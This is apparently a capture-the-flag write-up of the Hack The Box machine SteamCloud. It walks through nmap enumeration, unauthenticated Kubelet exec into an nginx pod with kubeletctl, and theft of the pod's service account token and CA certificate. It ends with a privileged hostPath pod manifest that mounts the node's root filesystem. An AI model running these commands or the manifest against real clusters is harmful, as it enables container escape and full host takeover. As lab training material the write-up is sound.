writeup 2025-11-11 · 7 min read

Hack The Box SteamCloud Writeup (Easy Linux)

Easy Linux box. An unauthenticated Kubelet API lets kubeletctl exec into the nginx pod, whose service account token then creates a pod mounting the host disk.

Hack The Box SteamCloud Writeup (Easy Linux)

Summary

SteamCloud is an easy Linux machine whose port scan comes back full of Kubernetes services. The API server on 8443 refuses anonymous requests beyond /version, but the Kubelet on port 10250 answers /pods with no authentication at all, which means its exec endpoint is open too. kubeletctl lists the running pods and the nginx pod stands out as the only one in the default namespace, so commands run inside it and then /bin/bash gives an interactive shell in the container. That pod carries a mounted service account token and the cluster CA certificate under /var/run/secrets/kubernetes.io/serviceaccount, both of which are copied back to the attacking machine. With the token, kubectl applies a pod manifest that mounts the node’s root filesystem into the new container, and exec into it reads root.txt and anything else on the host.

Service Enumeration

I ran:

1
nmap -A -vv -Pn -oN scans/nmap.all --min-rate 1250 -p- -n 10.129.96.167

Got plenty of ports open for a linux machine:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
PORT      STATE SERVICE          REASON  VERSION
22/tcp    open  ssh              syn-ack OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 fcfb90ee7c73a1d4bf87f871e844c63c (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCu4TNCZjLe74tZ0HyspkMaghndsvuXkZJa4lJBt9arqgkm6u2HI/RRdwbjE14au2u/YF89y23Q55iOGraA+9JjpyTzDPo3kxE/RisYzJaUDmzza+hqEeyTxXkZby9+DAhKm5UXs7M2CMDr3cwOPPQ96u/zUX0gDG3CfYw4fAi2TDGa6jU5KmGzIQz6SQR3Bv6IYLDwzNJ0nHNZ3jxSbFS3SsmTwK749GJLrv62wAf4uUL/Ihynl8cCG5aor6T0Fk44v/9ndfujznBvWaMYVPpf9B49XlD7OhXB5pCK2nPZrdze+ch6yhAM/vYrYA4sNk3IuFG3OCrDkVeUJn5sJKx5
|   256 46832b1b01db71646a3e27cb536f81a1 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBHVj7iKnl8SWdGz6J4F3kvpZjM1Tim0iHlUnQByS8xJYnfwttLxVwGb+aaGbRhOJu4mq9y4crwFh50rC9mAEHWo=
|   256 1d8dd341f3ffa437e8ac780889c2e3c5 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHXIZpU9XbtZ2zvx8rFEYTfGp+8JCJx5lSiRNEcqUFG8
2379/tcp  open  ssl/etcd-client? syn-ack
| ssl-cert: Subject: commonName=steamcloud
| Subject Alternative Name: DNS:localhost, DNS:steamcloud, IP Address:10.129.96.167, IP Address:127.0.0.1, IP Address:0:0:0:0:0:0:0:1
| Issuer: commonName=etcd-ca
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-11-11T12:39:58
| Not valid after:  2026-11-11T12:39:59
| MD5:   e2cb1f356b27ec3343cb8387646d71a5
| SHA-1: 80b24fe48c108a4a68040337042e114c7f87aa6d
| -----BEGIN CERTIFICATE-----
| MIIDSzC<SNIP>IlQ==
|_-----END CERTIFICATE-----
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|_  h2
2380/tcp  open  ssl/etcd-server? syn-ack
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=steamcloud
| Subject Alternative Name: DNS:localhost, DNS:steamcloud, IP Address:10.129.96.167, IP Address:127.0.0.1, IP Address:0:0:0:0:0:0:0:1
| Issuer: commonName=etcd-ca
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-11-11T12:39:58
| Not valid after:  2026-11-11T12:39:59
| MD5:   d0d7d4569f7487a3cd5912324e22cfe1
| SHA-1: ff163e5451624280d388af69af1ce2858263ea3d
| -----BEGIN CERTIFICATE-----
| MII<SNIP>0Dow==
|_-----END CERTIFICATE-----
| tls-alpn: 
|_  h2
8443/tcp  open  ssl/https-alt    syn-ack
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.0 403 Forbidden
|     Audit-Id: 7bdf4e26-28e7-4978-a08e-4b1e591a4b2c
|     Cache-Control: no-cache, private
|     Content-Type: application/json
|     X-Content-Type-Options: nosniff
|     X-Kubernetes-Pf-Flowschema-Uid: ce5b3698-ca1d-4e8c-a6b0-fab4d1bd42d1
|     X-Kubernetes-Pf-Prioritylevel-Uid: 6ff522da-f3c0-4be0-9bcd-be4ccf06b6f1
|     Date: Tue, 11 Nov 2025 12:50:06 GMT
|     Content-Length: 212
|     {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"forbidden: User "system:anonymous" cannot get path "/nice ports,/Trinity.txt.bak"","reason":"Forbidden","details":{},"code":403}
|   GetRequest: 
|     HTTP/1.0 403 Forbidden
|     Audit-Id: a46901ea-13a2-4534-8e0a-426663267c6c
|     Cache-Control: no-cache, private
|     Content-Type: application/json
|     X-Content-Type-Options: nosniff
|     X-Kubernetes-Pf-Flowschema-Uid: ce5b3698-ca1d-4e8c-a6b0-fab4d1bd42d1
|     X-Kubernetes-Pf-Prioritylevel-Uid: 6ff522da-f3c0-4be0-9bcd-be4ccf06b6f1
|     Date: Tue, 11 Nov 2025 12:50:05 GMT
|     Content-Length: 185
|     {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"forbidden: User "system:anonymous" cannot get path "/"","reason":"Forbidden","details":{},"code":403}
|   HTTPOptions: 
|     HTTP/1.0 403 Forbidden
|     Audit-Id: 22e49e2b-5f2c-4174-a1c6-cda86337434c
|     Cache-Control: no-cache, private
|     Content-Type: application/json
|     X-Content-Type-Options: nosniff
|     X-Kubernetes-Pf-Flowschema-Uid: ce5b3698-ca1d-4e8c-a6b0-fab4d1bd42d1
|     X-Kubernetes-Pf-Prioritylevel-Uid: 6ff522da-f3c0-4be0-9bcd-be4ccf06b6f1
|     Date: Tue, 11 Nov 2025 12:50:06 GMT
|     Content-Length: 189
|_    {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"forbidden: User "system:anonymous" cannot options path "/"","reason":"Forbidden","details":{},"code":403}
|_http-title: Site doesn't have a title (application/json).
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=minikube/organizationName=system:masters
| Subject Alternative Name: DNS:minikubeCA, DNS:control-plane.minikube.internal, DNS:kubernetes.default.svc.cluster.local, DNS:kubernetes.default.svc, DNS:kubernetes.default, DNS:kubernetes, DNS:localhost, IP Address:10.129.96.167, IP Address:10.96.0.1, IP Address:127.0.0.1, IP Address:10.0.0.1
| Issuer: commonName=minikubeCA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-11-10T12:39:56
| Not valid after:  2028-11-10T12:39:56
| MD5:   94116d826cf483372f7f31741248baa6
| SHA-1: d8fe6f8ed8ffc6dbab3d5e89426cb1061db802d5
| -----BEGIN CERTIFICATE-----
| MIID3<SNIP>A+o=
|_-----END CERTIFICATE-----
| tls-alpn: 
|   h2
|_  http/1.1
10249/tcp open  http             syn-ack Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
10250/tcp open  ssl/http         syn-ack Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
| ssl-cert: Subject: commonName=steamcloud@1762864801
| Subject Alternative Name: DNS:steamcloud
| Issuer: commonName=steamcloud-ca@1762864800
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-11-11T11:40:00
| Not valid after:  2026-11-11T11:40:00
| MD5:   dce2d400b9fa7f0761fcc41fd1f96b8a
| SHA-1: 3975c95554f2a8639a1aba2994c0ea388e33edea
| -----BEGIN CERTIFICATE-----
| MII<SNIP>7+U=
|_-----END CERTIFICATE-----
| tls-alpn: 
|   h2
|_  http/1.1
|_ssl-date: TLS randomness does not represent time
10256/tcp open  http             syn-ack Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
<SNIP>
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Most ports are related to kubernetes.

Kubernetes API

I try accessing the kubernetes API on port 8443 but get access denied:

Kubernetes API on port 8443 returning an access denied response

I can access the version though at /version:

Kubernetes APIversion endpoint answering without authentication

I’ll need valid creds to enumerate this. I see that Kubelet is open (both read-only on port 10255, and default 10250). I run:

1
curl https://10.129.96.167:10250/pods -k | jq .

To get more information about the pods. I get a whole bunch of output, indicating the application does not require authentication:

Kubeletpods endpoint returning full pod details with no authentication

I see in an article how it’s possible to execute commands in pods using this Kubelet feature:

Article describing command execution inside pods through the Kubelet API

I download kubeletctl to my machine. I list only the running pods:

1
kubeletctl -s 10.129.96.167 runningpods

I get a json result with a bunch of information:

kubeletctl runningpods output listing the pods on the node

I notice how t he “nginx” pod is the only one that breaks the pattern here. The “nginx” pod is the only one whose the namespace value is set to “default” among all other pods. I select this pod to test for command execution. I use the information obtained from the running pods file to execute a test command:

kubeletctl running a test command inside the nginx pod

It works, and now I have code execution in one of the pods:

1
kubeletctl -s 10.129.96.167 exec '<command to execute>' -p nginx -n default -c nginx

I can immediately spawn a shell by calling out /bin/bash directly:

Interactive shell spawned inside the nginx pod by callingbin/bash through kubeletctl

I can stabilize the shell by using script /usr/bin/script -qc /bin/bash /dev/null then background with “ctrl + Z” and finally stty raw -echo;fg:

Stabilised shell in the pod after running script and stty raw -echo

I grab the user flag in /root inside the container:

1
2
3
4
5
root@nginx:/# ls -la /root/
total 16
drwxr-xr-x 3 root root 4096 Nov 11 14:02 .
drwxr-xr-x 1 root root 4096 Nov 11 12:41 ..
-rw-r--r-- 2 root root   33 Nov 11 12:39 user.txt

The website also talks about getting access to the service token:

Article section describing how to retrieve a pod's service account token

If I search for it inside the pod, I see it’s available:

Service account token found undervar/run/secrets inside the nginx pod

I save the token to a file named “k.token” in my local machine

. The article also mentions I would need the ca cert, also available in pod:

1
/var/run/secrets/kubernetes.io/serviceaccount/ca.crt

I grab the contents of the cert and save it to my local machine. I install kubectl binary from the official repo for Debian 12. I create a config file (conf.yml):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
apiVersion: v1
kind: Pod
metadata:
  name: bsec-pod
spec:
  hostNetwork: true
  hostPID: true
  hostIPC: true
  containers:
  - name: privesc
    image: nginx:1.14.2
    securityContext:
      privileged: true
    volumeMounts:
    - name: host
      mountPath: /host
    command: ["/bin/sh"]
    args: ["-c", "while true; do sleep 3600; done"]
  volumes:
  - name: host
    hostPath:
      path: /
      type: Directory

I tried creating a new pod out of my config:

1
2
$ kubectl --token=$TOKEN --certificate-authority=ca.cert -s https://10.129.96.167:8443 apply -f conf.yml 
pod/bsec-pod created

It worked. Container name is “privesc” and pod name “bsec-pod”. I connect to it:

1
kubeletctl -s 10.129.96.167 exec '/bin/bash' -p bsec-pod -n default -c privesc

With that I can read root.txt or any file in host system for that matter:

1
# cat /host/root/root.txt
This post is licensed under CC BY 4.0 by the author.